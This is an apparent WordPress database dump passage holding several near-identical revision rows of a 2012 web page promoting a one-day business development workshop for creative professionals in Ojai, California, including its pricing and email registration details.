(2012, 2, '2012-03-02 11:33:24', '2012-03-02 18:33:24', '<img class="alignnone size-full wp-image-2007" title="WHC-Quantum" src="http://whc.fbdev.org/wp-content/uploads/2012/03/WHC-Quantum.jpg" alt="Creating Competitive Advantage in your Creative Business." width="490" height="363" />\r\n<h2><strong>White Hot Center Presents\r\nThe Quantum Leap\r\nBusiness Development Workshop</strong><strong>\r\n<span style="color: #db9b04;">Creating Competitive</span>\r\n<span style="color: #db9b04;"> Advantage in your Creative Business</span>\r\nJune 15, 2012\r\nOjai, California\r\n</strong></h2>\r\n<strong>Facilitated by Thomson Dawson\r\nBusiness Development Consultant to Creative Entrepreneuers</strong>\r\n<h1><span style="color: #808080;">A one-day intensive strategic business development workshop designed to help early stage creative entrepreneurs and solo professionals build a solid foundation for marketing and sales success that will enable them to achieve a quantum leap in the growth of their creative business.</span></h1>\r\n<h2>Without sales there is no business.</h2>\r\nIf you’re a self-employed creative professional, whether flying solo or leading your small creative firm, you know the importance of having a steady stream of clients and projects coming your way. The truth is many creative professionals struggle finding a steady stream of higher value clients. Many more resist the sales process altogether opting to rely on referrals for the growth of their business.\r\n\r\nReferrals are critically important, but they’re unpredictable– not enough to grow your business with sustainable, profitable results. To succeed in the hyper-competitive creative business today, you must embrace business development and sales as <strong>the essential</strong> <strong>skill</strong> for business success. And you need <strong>a plan to guide your actions</strong>, if you are to turn  greater possibilities into achievement.\r\n<h2>Clients have abundant choice. There is no shortage of creative talent in the marketplace.</h2>\r\nLet’s face it, when clients have abundant choice, competition is always fierce. How do you, a creative entrepreneur, gain radical advantage over would-be competitors in an ultra-competitive marketplace?\r\n\r\nHow do you find the right clients who are a perfect fit for you? How do you differentiate your business from alternatives to your firm in ways that matter to your clients? How do you command premium prices and greater profit margins when everyone else is discounting their fees just to get the gig?\r\n\r\nHow do you create more opportunity than you have capacity so you can be choosy about who you work with, and what you type of projects you’ll work on?\r\n\r\nIf you’re serious about the growth and success of your creative business you will not want to miss this opportunity to build a business development foundation and plan for growing your creative business to the next level!\r\n<h2>Take a quantum leap in your business development success. Spend one important day working on your creative business rather than in it. Spend one day building a solid framework and foundation for your business development and sales success. Spend one day innovating your bigger, better future.</h2>\r\n<strong>Who should attend?</strong>\r\n\r\nWe’ve developed this foundational business development workshop for all early-stage self-employed creative professionals including: designers in all discipines, web /apps developers, content creators, writers, social media professionals, illustrators, animators, photographers, producers and composers–just about anyone in the business of creative output for hire.\r\n\r\n<strong>What you’ll learn:</strong>\r\n\r\nParticipants will explore fundamental strategies and proven tactics that will enable them to enhance and levate the quality of their marketing and sales skills by a quantum leap. Here’s what we’ll cover during the workshop day:\r\n\r\n• develop and refine your vision for your business growth that enables you to express your passion and enhance your value to clients who are the right fit.\r\n\r\n• how to develop a value proposition that sets you apart from competitors and positions you as the expert in the minds of higher value clients who gladly pay a premium to work with you and your team.\r\n\r\n• understanding the complete sales process and how to effectively generate early-stage leads and nurture clients-to-be though the entire sales process to closing the deal.\r\n\r\n• how to be a value creator rather than an order taker in the sales process, leading your clients in the sales process and retaining your power in the buying process.\r\n\r\n• how to write proposals that win more business.\r\n\r\n• explore your “genius zone” the set of activities that enable you to experience the most joy and satisfaction, greater energy and productivity working with your team serving higher value clients.\r\n\r\n• how to increase your referrals and turn your clients into a non-paid sales force.', 'Spend one day creating your bigger, better future!', 0, '', 'inherit', 'open', 'open', '', '2006-revision-5', '', '', '2012-03-02 11:33:24', '2012-03-02 18:33:24', '', 2006, 'http://www.whitehotcenter.com/2012/03/2006-revision-5/', 0, 'revision', '', 0),
(2013, 2, '2012-03-02 11:33:51', '2012-03-02 18:33:51', '<img class="alignnone size-full wp-image-2007" title="WHC-Quantum" src="http://whc.fbdev.org/wp-content/uploads/2012/03/WHC-Quantum.jpg" alt="Creating Competitive Advantage in your Creative Business." width="490" height="363" />\r\n<h2><span style="color: #333333;"><strong>White Hot Center Presents\r\nThe Quantum Leap\r\nBusiness Development Workshop</strong></span><strong>\r\n<span style="color: #db9b04;">Creating Competitive</span>\r\n<span style="color: #db9b04;"> Advantage in your Creative Business</span>\r\n<span style="color: #333333;">June 15, 2012</span>\r\n<span style="color: #333333;"> Ojai, California</span>\r\n</strong></h2>\r\n<strong>Facilitated by Thomson Dawson\r\nBusiness Development Consultant to Creative Entrepreneuers</strong>\r\n<h1><span style="color: #808080;">A one-day intensive strategic business development workshop designed to help early stage creative entrepreneurs and solo professionals build a solid foundation for marketing and sales success that will enable them to achieve a quantum leap in the growth of their creative business.</span></h1>\r\n<h2>Without sales there is no business.</h2>\r\nIf you’re a self-employed creative professional, whether flying solo or leading your small creative firm, you know the importance of having a steady stream of clients and projects coming your way. The truth is many creative professionals struggle finding a steady stream of higher value clients. Many more resist the sales process altogether opting to rely on referrals for the growth of their business.\r\n\r\nReferrals are critically important, but they’re unpredictable– not enough to grow your business with sustainable, profitable results. To succeed in the hyper-competitive creative business today, you must embrace business development and sales as <strong>the essential</strong> <strong>skill</strong> for business success. And you need <strong>a plan to guide your actions</strong>, if you are to turn  greater possibilities into achievement.\r\n<h2>Clients have abundant choice. There is no shortage of creative talent in the marketplace.</h2>\r\nLet’s face it, when clients have abundant choice, competition is always fierce. How do you, a creative entrepreneur, gain radical advantage over would-be competitors in an ultra-competitive marketplace?\r\n\r\nHow do you find the right clients who are a perfect fit for you? How do you differentiate your business from alternatives to your firm in ways that matter to your clients? How do you command premium prices and greater profit margins when everyone else is discounting their fees just to get the gig?\r\n\r\nHow do you create more opportunity than you have capacity so you can be choosy about who you work with, and what you type of projects you’ll work on?\r\n\r\nIf you’re serious about the growth and success of your creative business you will not want to miss this opportunity to build a business development foundation and plan for growing your creative business to the next level!\r\n<h2>Take a quantum leap in your business development success. Spend one important day working on your creative business rather than in it. Spend one day building a solid framework and foundation for your business development and sales success. Spend one day innovating your bigger, better future.</h2>\r\n<strong>Who should attend?</strong>\r\n\r\nWe’ve developed this foundational business development workshop for all early-stage self-employed creative professionals including: designers in all discipines, web /apps developers, content creators, writers, social media professionals, illustrators, animators, photographers, producers and composers–just about anyone in the business of creative output for hire.\r\n\r\n<strong>What you’ll learn:</strong>\r\n\r\nParticipants will explore fundamental strategies and proven tactics that will enable them to enhance and levate the quality of their marketing and sales skills by a quantum leap. Here’s what we’ll cover during the workshop day:\r\n\r\n• develop and refine your vision for your business growth that enables you to express your passion and enhance your value to clients who are the right fit.\r\n\r\n• how to develop a value proposition that sets you apart from competitors and positions you as the expert in the minds of higher value clients who gladly pay a premium to work with you and your team.\r\n\r\n• understanding the complete sales process and how to effectively generate early-stage leads and nurture clients-to-be though the entire sales process to closing the deal.\r\n\r\n• how to be a value creator rather than an order taker in the sales process, leading your clients in the sales process and retaining your power in the buying process.\r\n\r\n• how to write proposals that win more business.\r\n\r\n• explore your “genius zone” the set of activities that enable you to experience the most joy and satisfaction, greater energy and productivity working with your team serving higher value clients.\r\n\r\n• how to increase your referrals and turn your clients into a non-paid sales force.', 'Spend one day creating your bigger, better future!', 0, '', 'inherit', 'open', 'open', '', '2006-revision-6', '', '', '2012-03-02 11:33:51', '2012-03-02 18:33:51', '', 2006, 'http://www.whitehotcenter.com/2012/03/2006-revision-6/', 0, 'revision', '', 0),
(2014, 2, '2012-03-02 11:34:07', '2012-03-02 18:34:07', '<img class="alignnone size-full wp-image-2007" title="WHC-Quantum" src="http://whc.fbdev.org/wp-content/uploads/2012/03/WHC-Quantum.jpg" alt="Creating Competitive Advantage in your Creative Business." width="490" height="363" />\r\n<h2><span style="color: #333333;"><strong>White Hot Center Presents\r\nThe Quantum Leap\r\nBusiness Development Workshop</strong></span><strong>\r\n<span style="color: #db9b04;">Creating Competitive</span>\r\n<span style="color: #db9b04;"> Advantage in your Creative Business</span>\r\n<span style="color: #333333;">June 15, 2012</span>\r\n<span style="color: #333333;"> Ojai, California</span>\r\n</strong></h2>\r\n<strong>Facilitated by Thomson Dawson\r\nBusiness Development Consultant to Creative Entrepreneuers</strong>\r\n<h1><span style="color: #808080;">A one-day intensive strategic business development workshop designed to help early stage creative entrepreneurs and solo professionals build a solid foundation for marketing and sales success that will enable them to achieve a quantum leap in the growth of their creative business.</span></h1>\r\n<h2>Without sales there is no business.</h2>\r\nIf you’re a self-employed creative professional, whether flying solo or leading your small creative firm, you know the importance of having a steady stream of clients and projects coming your way. The truth is many creative professionals struggle finding a steady stream of higher value clients. Many more resist the sales process altogether opting to rely on referrals for the growth of their business.\r\n\r\nReferrals are critically important, but they’re unpredictable– not enough to grow your business with sustainable, profitable results. To succeed in the hyper-competitive creative business today, you must embrace business development and sales as <strong>the essential</strong> <strong>skill</strong> for business success. And you need <strong>a plan to guide your actions</strong>, if you are to turn  greater possibilities into achievement.\r\n<h2>Clients have abundant choice. There is no shortage of creative talent in the marketplace.</h2>\r\nLet’s face it, when clients have abundant choice, competition is always fierce. How do you, a creative entrepreneur, gain radical advantage over would-be competitors in an ultra-competitive marketplace?\r\n\r\nHow do you find the right clients who are a perfect fit for you? How do you differentiate your business from alternatives to your firm in ways that matter to your clients? How do you command premium prices and greater profit margins when everyone else is discounting their fees just to get the gig?\r\n\r\nHow do you create more opportunity than you have capacity so you can be choosy about who you work with, and what you type of projects you’ll work on?\r\n\r\nIf you’re serious about the growth and success of your creative business you will not want to miss this opportunity to build a business development foundation and plan for growing your creative business to the next level!\r\n<h2>Take a quantum leap in your business development success. Spend one important day working on your creative business rather than in it. Spend one day building a solid framework and foundation for your business development and sales success. Spend one day innovating your bigger, better future.</h2>\r\n<strong>Who should attend?</strong>\r\n\r\nWe’ve developed this foundational business development workshop for all early-stage self-employed creative professionals including: designers in all discipines, web /apps developers, content creators, writers, social media professionals, illustrators, animators, photographers, producers and composers–just about anyone in the business of creative output for hire.\r\n\r\n<strong>What you’ll learn:</strong>\r\n\r\nParticipants will explore fundamental strategies and proven tactics that will enable them to enhance and levate the quality of their marketing and sales skills by a quantum leap. Here’s what we’ll cover during the workshop day:\r\n\r\n• develop and refine your vision for your business growth that enables you to express your passion and enhance your value to clients who are the right fit.\r\n\r\n• how to develop a value proposition that sets you apart from competitors and positions you as the expert in the minds of higher value clients who gladly pay a premium to work with you and your team.\r\n\r\n• understanding the complete sales process and how to effectively generate early-stage leads and nurture clients-to-be though the entire sales process to closing the deal.\r\n\r\n• how to be a value creator rather than an order taker in the sales process, leading your clients in the sales process and retaining your power in the buying process.\r\n\r\n• how to write proposals that win more business.\r\n\r\n• explore your “genius zone” the set of activities that enable you to experience the most joy and satisfaction, greater energy and productivity working with your team serving higher value clients.\r\n\r\n• how to increase your referrals and turn your clients into a non-paid sales force.', 'Spend one day creating your bigger, better future!', 0, '', 'inherit', 'open', 'open', '', '2006-revision-7', '', '', '2012-03-02 11:34:07', '2012-03-02 18:34:07', '', 2006, 'http://www.whitehotcenter.com/2012/03/2006-revision-7/', 0, 'revision', '', 0),
(2015, 2, '2012-03-02 11:34:30', '2012-03-02 18:34:30', '<img class="alignnone size-full wp-image-2007" title="WHC-Quantum" src="http://whc.fbdev.org/wp-content/uploads/2012/03/WHC-Quantum.jpg" alt="Creating Competitive Advantage in your Creative Business." width="490" height="363" />\r\n<h2><span style="color: #333333;"><strong>White Hot Center Presents\r\nThe Quantum Leap\r\nBusiness Development Workshop</strong></span><strong>\r\n<span style="color: #db9b04;">Creating Competitive</span>\r\n<span style="color: #db9b04;"> Advantage in your Creative Business</span>\r\n<span style="color: #333333;">June 15, 2012</span>\r\n<span style="color: #333333;"> Ojai, California</span>\r\n</strong></h2>\r\n<strong>Facilitated by Thomson Dawson\r\nBusiness Development Consultant to Creative Entrepreneuers</strong>\r\n<h1><span style="color: #808080;">A one-day intensive strategic business development workshop designed to help early stage creative entrepreneurs and solo professionals build a solid foundation for marketing and sales success that will enable them to achieve a quantum leap in the growth of their creative business.</span></h1>\r\n<h2>Without sales there is no business.</h2>\r\nIf you’re a self-employed creative professional, whether flying solo or leading your small creative firm, you know the importance of having a steady stream of clients and projects coming your way. The truth is many creative professionals struggle finding a steady stream of higher value clients. Many more resist the sales process altogether opting to rely on referrals for the growth of their business.\r\n\r\nReferrals are critically important, but they’re unpredictable– not enough to grow your business with sustainable, profitable results. To succeed in the hyper-competitive creative business today, you must embrace business development and sales as <strong>the essential</strong> <strong>skill</strong> for business success. And you need <strong>a plan to guide your actions</strong>, if you are to turn  greater possibilities into achievement.\r\n<h2>Clients have abundant choice. There is no shortage of creative talent in the marketplace.</h2>\r\nLet’s face it, when clients have abundant choice, competition is always fierce. How do you, a creative entrepreneur, gain radical advantage over would-be competitors in an ultra-competitive marketplace?\r\n\r\nHow do you find the right clients who are a perfect fit for you? How do you differentiate your business from alternatives to your firm in ways that matter to your clients? How do you command premium prices and greater profit margins when everyone else is discounting their fees just to get the gig?\r\n\r\nHow do you create more opportunity than you have capacity so you can be choosy about who you work with, and what you type of projects you’ll work on?\r\n\r\nIf you’re serious about the growth and success of your creative business you will not want to miss this opportunity to build a business development foundation and plan for growing your creative business to the next level!\r\n<h2>Take a quantum leap in your business development success. Spend one important day working on your creative business rather than in it. Spend one day building a solid framework and foundation for your business development and sales success. Spend one day innovating your bigger, better future.</h2>\r\n<strong>Who should attend?</strong>\r\n\r\nWe’ve developed this foundational business development workshop for all early-stage self-employed creative professionals including: designers in all discipines, web /apps developers, content creators, writers, social media professionals, illustrators, animators, photographers, producers and composers–just about anyone in the business of creative output for hire.\r\n\r\n<strong>What you’ll learn:</strong>\r\n\r\nParticipants will explore fundamental strategies and proven tactics that will enable them to enhance and levate the quality of their marketing and sales skills by a quantum leap. Here’s what we’ll cover during the workshop day:\r\n\r\n• develop and refine your vision for your business growth that enables you to express your passion and enhance your value to clients who are the right fit.\r\n\r\n• how to develop a value proposition that sets you apart from competitors and positions you as the expert in the minds of higher value clients who gladly pay a premium to work with you and your team.\r\n\r\n• understanding the complete sales process and how to effectively generate early-stage leads and nurture clients-to-be though the entire sales process to closing the deal.\r\n\r\n• how to be a value creator rather than an order taker in the sales process, leading your clients in the sales process and retaining your power in the buying process.\r\n\r\n• how to write proposals that win more business.\r\n\r\n• explore your “genius zone” the set of activities that enable you to experience the most joy and satisfaction, greater energy and productivity working with your team serving higher value clients.\r\n\r\n• how to increase your referrals and turn your clients into a non-paid sales force.', 'Spend one day creating your bigger, better future!', 0, '', 'inherit', 'open', 'open', '', '2006-revision-8', '', '', '2012-03-02 11:34:30', '2012-03-02 18:34:30', '', 2006, 'http://www.whitehotcenter.com/2012/03/2006-revision-8/', 0, 'revision', '', 0),
(2016, 2, '2012-03-02 11:36:58', '2012-03-02 18:36:58', '<img class="alignnone size-full wp-image-2007" title="WHC-Quantum" src="http://whc.fbdev.org/wp-content/uploads/2012/03/WHC-Quantum.jpg" alt="Creating Competitive Advantage in your Creative Business." width="490" height="363" />\n<h2><span style="color: #333333;"><strong>White Hot Center Presents\nThe Quantum Leap\nBusiness Development Workshop</strong></span><strong>\n<span style="color: #db9b04;">Creating Competitive</span>\n<span style="color: #db9b04;"> Advantage in your Creative Business</span>\n<span style="color: #333333;">June 15, 2012</span>\n<span style="color: #333333;"> Ojai, California</span>\n</strong></h2>\n<strong>Facilitated by Thomson Dawson\nBusiness Development Consultant to Creative Entrepreneuers</strong>\n<h1><span style="color: #808080;">A one-day intensive strategic business development workshop designed to help early stage creative entrepreneurs and solo professionals build a solid foundation for marketing and sales success that will enable them to achieve a quantum leap in the growth of their creative business.</span></h1>\n<h2>Without sales there is no business.</h2>\nIf you’re a self-employed creative professional, whether flying solo or leading your small creative firm, you know the importance of having a steady stream of clients and projects coming your way. The truth is many creative professionals struggle finding a steady stream of higher value clients. Many more resist the sales process altogether opting to rely on referrals for the growth of their business.\n\nReferrals are critically important, but they’re unpredictable– not enough to grow your business with sustainable, profitable results. To succeed in the hyper-competitive creative business today, you must embrace business development and sales as <strong>the essential</strong> <strong>skill</strong> for business success. And you need <strong>a plan to guide your actions</strong>, if you are to turn  greater possibilities into achievement.\n<h2>Clients have abundant choice. There is no shortage of creative talent in the marketplace.</h2>\nLet’s face it, when clients have abundant choice, competition is always fierce. How do you, a creative entrepreneur, gain radical advantage over would-be competitors in an ultra-competitive marketplace?\n\nHow do you find the right clients who are a perfect fit for you? How do you differentiate your business from alternatives to your firm in ways that matter to your clients? How do you command premium prices and greater profit margins when everyone else is discounting their fees just to get the gig?\n\nHow do you create more opportunity than you have capacity so you can be choosy about who you work with, and what you type of projects you’ll work on?\n\nIf you’re serious about the growth and success of your creative business you will not want to miss this opportunity to build a business development foundation and plan for growing your creative business to the next level!\n<h2>Take a quantum leap in your business development success. Spend one important day working on your creative business rather than in it. Spend one day building a solid framework and foundation for your business development and sales success. Spend one day innovating your bigger, better future.</h2>\n<strong>Who should attend?</strong>\n\nWe’ve developed this foundational business development workshop for all early-stage self-employed creative professionals including: designers in all discipines, web /apps developers, content creators, writers, social media professionals, illustrators, animators, photographers, producers and composers–just about anyone in the business of creative output for hire.\n\n<strong>What you’ll learn:</strong>\n\n<strong>Participants will explore fundamental strategies and proven tactics that will enable them to enhance and levate the quality of their marketing and sales skills by a quantum leap. Here’s what we’ll cover during the workshop day:</strong>\n\n<strong>• develop and refine your vision for your business growth that enables you to express your passion and enhance your value to clients who are the right fit.</strong>\n\n<strong>• how to develop a value proposition that sets you apart from competitors and positions you as the expert in the minds of higher value clients who gladly pay a premium to work with you and your team.</strong>\n\n<strong>• understanding the complete sales process and how to effectively generate early-stage leads and nurture clients-to-be though the entire sales process to closing the deal.</strong>\n\n<strong>• how to be a value creator rather than an order taker in the sales process, leading your clients in the sales process and retaining your power in the buying process.</strong>\n\n<strong>• how to write proposals that win more business.</strong>\n\n<strong>• explore your “genius zone” the set of activities that enable you to experience the most joy and satisfaction, greater energy and productivity working with your team serving higher value clients.</strong>\n\n<strong>• how to increase your referrals and turn your clients into a non-paid sales force.</strong>\n\n<strong>The Investment:</strong>\n$600.00 USD per person\nSpecial discount of $100 off for early registration prior to April 30, 2012\nAddirtional discount of $50 off for each additional person in your firm prior to April 30, 2012.\n\nTuition must be paid 30 days in advance of the Workshop. No refunds or credits within 14 days of the workshop.\n\nTuition includes Workshop Materials, Continental Breakfast, Luncheon and Snacks served throughout the day at the venue.\n\n<strong>This workshop is limited to 24 participants.</strong>\n<h1>Early Registration</h1>\nSend an <strong><a href="mailto://thomson@whitehotcenter.com" target="_blank">email</a></strong> and we’ll get right back to you with the full information on the venue location, accomodations, and how confirm your spot in early registration prior to April 30, 2012. This workshop has limited capacity and will fill up quickly.\n<strong></strong>\n<h1><strong>Register Now and Save!</strong></h1>', 'Spend one day creating your bigger, better future!', 0, '', 'inherit', 'open', 'open', '', '2006-revision-9', '', '', '2012-03-02 11:36:58', '2012-03-02 18:36:58', '', 2006, 'http://www.whitehotcenter.com/2012/03/2006-revision-9/', 0, 'revision', '', 0),
(2017, 2, '2012-03-02 11:37:49', '2012-03-02 18:37:49', '<img class="alignnone size-full wp-image-2007" title="WHC-Quantum" src="http://whc.fbdev.org/wp-content/uploads/2012/03/WHC-Quantum.jpg" alt="Creating Competitive Advantage in your Creative Business." width="490" height="363" />\r\n<h2><span style="color: #333333;"><strong>White Hot Center Presents\r\nThe Quantum Leap\r\nBusiness Development Workshop</strong></span><strong>\r\n<span style="color: #db9b04;">Creating Competitive</span>\r\n<span style="color: #db9b04;"> Advantage in your Creative Business</span>\r\n<span style="color: #333333;">June 15, 2012</span>\r\n<span style="color: #333333;"> Ojai, California</span>\r\n</strong></h2>\r\n<strong>Facilitated by Thomson Dawson\r\nBusiness Development Consultant to Creative Entrepreneuers</strong>\r\n<h1><span style="color: #808080;">A one-day intensive strategic business development workshop designed to help early stage creative entrepreneurs and solo professionals build a solid foundation for marketing and sales success that will enable them to achieve a quantum leap in the growth of their creative business.</span></h1>\r\n<h2>Without sales there is no business.</h2>\r\nIf you’re a self-employed creative professional, whether flying solo or leading your small creative firm, you know the importance of having a steady stream of clients and projects coming your way. The truth is many creative professionals struggle finding a steady stream of higher value clients. Many more resist the sales process altogether opting to rely on referrals for the growth of their business.\r\n\r\nReferrals are critically important, but they’re unpredictable– not enough to grow your business with sustainable, profitable results. To succeed in the hyper-competitive creative business today, you must embrace business development and sales as <strong>the essential</strong> <strong>skill</strong> for business success. And you need <strong>a plan to guide your actions</strong>, if you are to turn  greater possibilities into achievement.\r\n<h2>Clients have abundant choice. There is no shortage of creative talent in the marketplace.</h2>\r\nLet’s face it, when clients have abundant choice, competition is always fierce. How do you, a creative entrepreneur, gain radical advantage over would-be competitors in an ultra-competitive marketplace?\r\n\r\nHow do you find the right clients who are a perfect fit for you? How do you differentiate your business from alternatives to your firm in ways that matter to your clients? How do you command premium prices and greater profit margins when everyone else is discounting their fees just to get the gig?\r\n\r\nHow do you create more opportunity than you have capacity so you can be choosy about who you work with, and what you type of projects you’ll work on?\r\n\r\nIf you’re serious about the growth and success of your creative business you will not want to miss this opportunity to build a business development foundation and plan for growing your creative business to the next level!\r\n<h2>Take a quantum leap in your business development success. Spend one important day working on your creative business rather than in it. Spend one day building a solid framework and foundation for your business development and sales success. Spend one day innovating your bigger, better future.</h2>\r\n<strong>Who should attend?</strong>\r\n\r\nWe’ve developed this foundational business development workshop for all early-stage self-employed creative professionals including: designers in all discipines, web /apps developers, content creators, writers, social media professionals, illustrators, animators, photographers, producers and composers–just about anyone in the business of creative output for hire.\r\n\r\n<strong>What you’ll learn:</strong>\r\n\r\n<strong>Participants will explore fundamental strategies and proven tactics that will enable them to enhance and levate the quality of their marketing and sales skills by a quantum leap. Here’s what we’ll cover during the workshop day:</strong>\r\n\r\n<strong>• develop and refine your vision for your business growth that enables you to express your passion and enhance your value to clients who are the right fit.</strong>\r\n\r\n<strong>• how to develop a value proposition that sets you apart from competitors and positions you as the expert in the minds of higher value clients who gladly pay a premium to work with you and your team.</strong>\r\n\r\n<strong>• understanding the complete sales process and how to effectively generate early-stage leads and nurture clients-to-be though the entire sales process to closing the deal.</strong>\r\n\r\n<strong>• how to be a value creator rather than an order taker in the sales process, leading your clients in the sales process and retaining your power in the buying process.</strong>\r\n\r\n<strong>• how to write proposals that win more business.</strong>\r\n\r\n<strong>• explore your “genius zone” the set of activities that enable you to experience the most joy and satisfaction, greater energy and productivity working with your team serving higher value clients.</strong>\r\n\r\n<strong>• how to increase your referrals and turn your clients into a non-paid sales force.</strong>\r\n\r\n<strong>The Investment:</strong>\r\n$600.00 USD per person\r\nSpecial discount of $100 off for early registration prior to April 30, 2012\r\nAddirtional discount of $50 off for each additional person in your firm prior to April 30, 2012.\r\n\r\nTuition must be paid 30 days in advance of the Workshop. No refunds or credits within 14 days of the workshop.\r\n\r\nTuition includes Workshop Materials, Continental Breakfast, Luncheon and Snacks served throughout the day at the venue.\r\n\r\n<strong>This workshop is limited to 24 participants.</strong>\r\n<h1><span style="color: #808080;">Early Registration</span></h1>\r\nSend an <strong><a href="mailto://thomson@whitehotcenter.com" target="_blank">email</a></strong> and we’ll get right back to you with the full information on the venue location, accomodations, and how confirm your spot in early registration prior to April 30, 2012. This workshop has limited capacity and will fill up quickly.\r\n<strong></strong>\r\n<h1><span style="color: #808080;"><strong>Register Now and Save!</strong></span></h1>', 'Spend one day creating your bigger, better future!', 0, '', 'inherit', 'open', 'open', '', '2006-revision-10', '', '', '2012-03-02 11:37:49', '2012-03-02 18:37:49', '', 2006, 'http://www.whitehotcenter.com/2012/03/2006-revision-10/', 0, 'revision', '', 0);
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(2018, 2, '2012-03-02 11:37:58', '2012-03-02 18:37:58', '<img class="alignnone size-full wp-image-2007" title="WHC-Quantum" src="http://whc.fbdev.org/wp-content/uploads/2012/03/WHC-Quantum.jpg" alt="Creating Competitive Advantage in your Creative Business." width="490" height="363" />\r\n<h2><span style="color: #333333;"><strong>White Hot Center Presents\r\nThe Quantum Leap\r\nBusiness Development Workshop</strong></span><strong>\r\n<span style="color: #db9b04;">Creating Competitive</span>\r\n<span style="color: #db9b04;"> Advantage in your Creative Business</span>\r\n<span style="color: #333333;">June 15, 2012</span>\r\n<span style="color: #333333;"> Ojai, California</span>\r\n</strong></h2>\r\n<strong>Facilitated by Thomson Dawson\r\nBusiness Development Consultant to Creative Entrepreneuers</strong>\r\n<h1><span style="color: #808080;">A one-day intensive strategic business development workshop designed to help early stage creative entrepreneurs and solo professionals build a solid foundation for marketing and sales success that will enable them to achieve a quantum leap in the growth of their creative business.</span></h1>\r\n<h2>Without sales there is no business.</h2>\r\nIf you’re a self-employed creative professional, whether flying solo or leading your small creative firm, you know the importance of having a steady stream of clients and projects coming your way. The truth is many creative professionals struggle finding a steady stream of higher value clients. Many more resist the sales process altogether opting to rely on referrals for the growth of their business.\r\n\r\nReferrals are critically important, but they’re unpredictable– not enough to grow your business with sustainable, profitable results. To succeed in the hyper-competitive creative business today, you must embrace business development and sales as <strong>the essential</strong> <strong>skill</strong> for business success. And you need <strong>a plan to guide your actions</strong>, if you are to turn  greater possibilities into achievement.\r\n<h2>Clients have abundant choice. There is no shortage of creative talent in the marketplace.</h2>\r\nLet’s face it, when clients have abundant choice, competition is always fierce. How do you, a creative entrepreneur, gain radical advantage over would-be competitors in an ultra-competitive marketplace?\r\n\r\nHow do you find the right clients who are a perfect fit for you? How do you differentiate your business from alternatives to your firm in ways that matter to your clients? How do you command premium prices and greater profit margins when everyone else is discounting their fees just to get the gig?\r\n\r\nHow do you create more opportunity than you have capacity so you can be choosy about who you work with, and what you type of projects you’ll work on?\r\n\r\nIf you’re serious about the growth and success of your creative business you will not want to miss this opportunity to build a business development foundation and plan for growing your creative business to the next level!\r\n<h2>Take a quantum leap in your business development success. Spend one important day working on your creative business rather than in it. Spend one day building a solid framework and foundation for your business development and sales success. Spend one day innovating your bigger, better future.</h2>\r\n<strong>Who should attend?</strong>\r\n\r\nWe’ve developed this foundational business development workshop for all early-stage self-employed creative professionals including: designers in all discipines, web /apps developers, content creators, writers, social media professionals, illustrators, animators, photographers, producers and composers–just about anyone in the business of creative output for hire.\r\n\r\n<strong>What you’ll learn:</strong>\r\n\r\n<strong>Participants will explore fundamental strategies and proven tactics that will enable them to enhance and levate the quality of their marketing and sales skills by a quantum leap. Here’s what we’ll cover during the workshop day:</strong>\r\n\r\n<strong>• develop and refine your vision for your business growth that enables you to express your passion and enhance your value to clients who are the right fit.</strong>\r\n\r\n<strong>• how to develop a value proposition that sets you apart from competitors and positions you as the expert in the minds of higher value clients who gladly pay a premium to work with you and your team.</strong>\r\n\r\n<strong>• understanding the complete sales process and how to effectively generate early-stage leads and nurture clients-to-be though the entire sales process to closing the deal.</strong>\r\n\r\n<strong>• how to be a value creator rather than an order taker in the sales process, leading your clients in the sales process and retaining your power in the buying process.</strong>\r\n\r\n<strong>• how to write proposals that win more business.</strong>\r\n\r\n<strong>• explore your “genius zone” the set of activities that enable you to experience the most joy and satisfaction, greater energy and productivity working with your team serving higher value clients.</strong>\r\n\r\n<strong>• how to increase your referrals and turn your clients into a non-paid sales force.</strong>\r\n\r\n<strong>The Investment:</strong>\r\n$600.00 USD per person\r\nSpecial discount of $100 off for early registration prior to April 30, 2012\r\nAddirtional discount of $50 off for each additional person in your firm prior to April 30, 2012.\r\n\r\nTuition must be paid 30 days in advance of the Workshop. No refunds or credits within 14 days of the workshop.\r\n\r\nTuition includes Workshop Materials, Continental Breakfast, Luncheon and Snacks served throughout the day at the venue.\r\n\r\n<strong>This workshop is limited to 24 participants.</strong>\r\n<h1><span style="color: #808080;">Early Registration</span></h1>\r\nSend an <strong><a href="mailto://thomson@whitehotcenter.com" target="_blank">email</a></strong> and we’ll get right back to you with the full information on the venue location, accomodations, and how confirm your spot in early registration prior to April 30, 2012. This workshop has limited capacity and will fill up quickly.\r\n<strong></strong>\r\n<h1><span style="color: #808080;"><strong>Register Now and Save!</strong></span></h1>', 'Spend one day creating your bigger, better future!', 0, '', 'inherit', 'open', 'open', '', '2006-revision-11', '', '', '2012-03-02 11:37:58', '2012-03-02 18:37:58', '', 2006, 'http://www.whitehotcenter.com/2012/03/2006-revision-11/', 0, 'revision', '', 0),
(2019, 2, '2012-03-02 11:42:34', '2012-03-02 18:42:34', '<img class="alignnone size-full wp-image-2007" title="WHC-Quantum" src="http://whc.fbdev.org/wp-content/uploads/2012/03/WHC-Quantum.jpg" alt="Creating Competitive Advantage in your Creative Business." width="490" height="363" />\r\n<h2><span style="color: #333333;"><strong>White Hot Center Presents\r\nThe Quantum Leap\r\nBusiness Development Workshop</strong></span><strong>\r\n<span style="color: #db9b04;">Creating Competitive</span>\r\n<span style="color: #db9b04;"> Advantage in your Creative Business</span>\r\n<span style="color: #333333;">June 15, 2012</span>\r\n<span style="color: #333333;"> Ojai, California</span>\r\n</strong></h2>\r\n<strong>Facilitated by Thomson Dawson\r\nBusiness Development Consultant to Creative Entrepreneuers</strong>\r\n<h1><span style="color: #808080;">A one-day intensive strategic business development workshop designed to help early stage creative entrepreneurs and solo professionals build a solid foundation for marketing and sales success that will enable them to achieve a quantum leap in the growth of their creative business.</span></h1>\r\n<h2>Without sales there is no business.</h2>\r\nIf you’re a self-employed creative professional, whether flying solo or leading your small creative firm, you know the importance of having a steady stream of clients and projects coming your way. The truth is many creative professionals struggle finding a steady stream of higher value clients. Many more resist the sales process altogether opting to rely on referrals for the growth of their business.\r\n\r\nReferrals are critically important, but they’re unpredictable– not enough to grow your business with sustainable, profitable results. To succeed in the hyper-competitive creative business today, you must embrace business development and sales as <strong>the essential</strong> <strong>skill</strong> for business success. And you need <strong>a plan to guide your actions</strong>, if you are to turn  greater possibilities into achievement.\r\n<h2>Clients have abundant choice. There is no shortage of creative talent in the marketplace.</h2>\r\nLet’s face it, when clients have abundant choice, competition is always fierce. How do you, a creative entrepreneur, gain radical advantage over would-be competitors in an ultra-competitive marketplace?\r\n\r\nHow do you find the right clients who are a perfect fit for 